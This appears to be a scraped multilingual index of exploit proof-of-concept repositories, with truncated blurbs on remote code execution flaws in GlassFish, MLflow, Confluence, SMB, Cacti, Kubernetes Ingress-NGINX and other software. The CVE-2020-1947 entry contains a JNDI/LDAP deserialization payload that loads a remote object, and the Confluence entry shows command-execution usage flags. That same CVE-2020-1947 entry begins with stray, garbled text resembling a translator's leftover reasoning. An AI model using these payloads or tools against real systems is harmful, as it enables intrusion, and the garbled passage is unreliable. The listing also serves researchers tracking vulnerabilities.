CVE-2026-2587-Exploit-POC

CVE-2026-2587 Exploit PoC — Validatore RCE tramite EL Injection su Eclipse GlassFish Validatore PoC sicuro per CVE-2026-2587, una vulnerabilità critica di EL Injection / RCE che colpisce la gestione dei gadget della console amministrativa di Eclipse GlassFish tramite /common/gadgets/gadget.jsf...

CVE-2024-37054

CVE-2024-37054 — Deserializzazione RCE di MLflow pyfunc Gravità: Critica Interessati: MLflow 0.9.0 – 2.14.1 Tipo: Esecuzione arbitraria di codice tramite deserializzazione pickle Python Descrizione mlflow.pyfunc.loadmodel deserializza pythonmodel.pkl dall'archivio degli artefatti senza alcuna...

sunlogin_rce

Prefazione Non c'è molto da dire, metto direttamente lo strumento e le versioni vulnerabili. È ottimo per giocare in locale, ma non usatelo per test illegali. Versione vulnerabile del client Sunflower testata: 11.0.0.33162 Il client vulnerabile è fornito nel codice sorgente. Per la scansione dell...

freddy

Freddy the Serialisation Killer - Rilevatore di Bug di Deserializzazione Un'estensione di Burp Suite per aiutare a rilevare e sfruttare librerie/API di serializzazione. Questa utile estensione è stata originariamente sviluppata da Nick Bloor @nickstadb per NCC Group ed è basata principalmente sul...

CVE-2019-9193

CVE-2019–9193 - PostgreSQL 9.6.1 Remote Code Execution Authentifiziert Proof of Concept PostgreSQL-Datenbanken ab Version 9.6.1 sind anfällig für authentifizierte Remote Code Execution. Auch wenn es vom Entwicklungsteam nicht als Schwachstelle an sich betrachtet wird, kann dies ausgenutzt werden,...

CNVD-2022-27366__CVE-2023-37621

CVE ID CVE-2023-37621 PRODUCT Fronius Fronius Datalogger Web 2.0.5-4 VERSION Fronius Fronius Datalogger Web 2.0.5-4 PROBLEM TYPE Vulnerabilità di accesso non autorizzato DESCRIPTION Fronius è un produttore europeo di saldatrici. L'accesso non autorizzato a Fronius Datalogger Web consente agli...

CVE-2021-26084_Confluence

CVE-2021-26084 - Confluence Pre-Auth RCE OGNL-Injektion Verwendung root@kitploit: usage: cve-2021-26084confluencerce.py -h --url URL --cmd CMD --shell CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection optional arguments: -h, --help show this help message and exit --url URL, -u URL Target Ur...

CVE-2017-7269

DE GenWebDavIISExploit ist ein PoC-Tool, das einen Exploit für eine bekannte Schwachstelle in der WebDAV-Komponente von IIS6 demonstriert. Dieses Tool wurde zu Bildungs- und Forschungszwecken entwickelt, um zu zeigen, wie die Schwachstelle ausgenutzt werden kann, um beliebigen Code auf einem...

CVE-2020-0796-exp

SMBGhostRCEPoC PoC di RCE per CVE-2020-0796 "SMBGhost" Solo a scopo dimostrativo! Usalo solo come riferimento. Sul serio. Non è stato testato al di fuori del mio ambiente di laboratorio. È stato scritto in fretta e ha bisogno di qualche miglioramento per essere più affidabile. A volte provoca un...

CVE-2022-23614

CVE-2022-23614 PoC para CVE-2022-23614, GHSA-5mv2-rx3q-4w2v execução de código do filtro de classificação Twig / bypass de sandbox Como visto neste commit - https://github.com/twigphp/Twig/commit/.., o twig estava passando o nome da função fornecida pelo usuário como parâmetro de callback para...

CVE-2024-44871

MoziloCMS = 3.0.1 RCE Autenticado Descrição Este script é uma ferramenta de exploração projetada para testar aplicações web que executam MoziloCMS. Ele permite que um invasor use logins de administrador para fazer upload de um web shell PHP via arquivo jpg, renomear o arquivo carregado para php e...

CVE-2025-1974

Kubernetes Ingress-NGINX Nicht authentifizierte Remote-Codeausführung CVE-2025-1974 Ingress-NGINX: Ein Ingress-Controller für Kubernetes, der NGINX als Reverse-Proxy und Lastverteiler verwendet Die „IngressNightmare"-Schwachstelle CVE-2025-1974 rührt von einem kritischen Fehler im Ingress-NGINX...

CVE-2025-26056

CVE-2025-26056 Auteur: Rohan Deshpande Injection de commandes système Résumé L'injection de commandes système est une vulnérabilité de sécurité qui permet à un attaquant d'exécuter des commandes arbitraires sur le système d'exploitation hôte via une application vulnérable. Cela peut entraîner un...

CVE-2024-2054

CVE-2024-2054 Applicazione web amministrativa Artica-Proxy deserializzazione non sicura RCE Un proof of concept di exploit per l'applicazione web amministrativa ARTICA PROXY CVE-2024-2054 Articolo del blog Maggiori dettagli qui:...

CVE-2025-60752

CVE-2025-60752 PoC della CVE-2025-60752 Prodotto interessato: Tinyc Http Server L'articolo completo con i dettagli è disponibile all'indirizzo https://zer0matt.blogspot.com/2026/05/cve-2025-60752-tinyc-http-server-stack.html Descrizione Si verifica un overflow del buffer nello stack quando Tinyc...

CVE-2023-27350

CVE-2023-27350 Questa vulnerabilità consente a un utente malintenzionato remoto di aggirare l'autenticazione su installazioni affette di PaperCut NG 22.0.5 Build 63914. Non è richiesta autenticazione per sfruttare questa vulnerabilità. Il difetto specifico risiede nella classe SetupCompleted. Il...

JSShell

JSShell 2.0 Una shell JavaScript interattiva multi-utente basata sul web. È stata creata inizialmente per eseguire il debug di browser esoterici remoti durante esperimenti e ricerche. Questo strumento può essere facilmente allegato a payload XSS Cross Site Scripting per ottenere l'esecuzione remo...

CVE-2022-46169-Exploit

CVE-2022-46169 PoC - RCE non autenticata in Cacti 1.2.22 Questo repository contiene un exploit per CVE-2022-46169, che colpisce Cacti 1.2.22. Questa vulnerabilità consente a un attaccante non autenticato di eseguire codice arbitrario sul sistema interessato. Se desideri una descrizione dettagliat...

CVE-2020-1947

" — the block ends with and then " response" after? Let me re-read the input: root@kitploit: "dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/ExportObject\n autoCommit: true" Response root@kitploit: HTTP/1.1 200 ... Yes. So after the code fence,...

laravel-filemanager-unrestricted-upload

Laravel FileManager Unrestricted File Upload CVE-2025-56399 CWE-434: Uneingeschränkter Upload von Dateien mit gefährlichem Typ CVSS-Score: 8.5 Hoch 📋 Beschreibung Dieses Tool bietet einen Proof of Concept PoC für CVE-2025-56399 , eine kritische Schwachstelle in alexusmai/laravel-file-manager...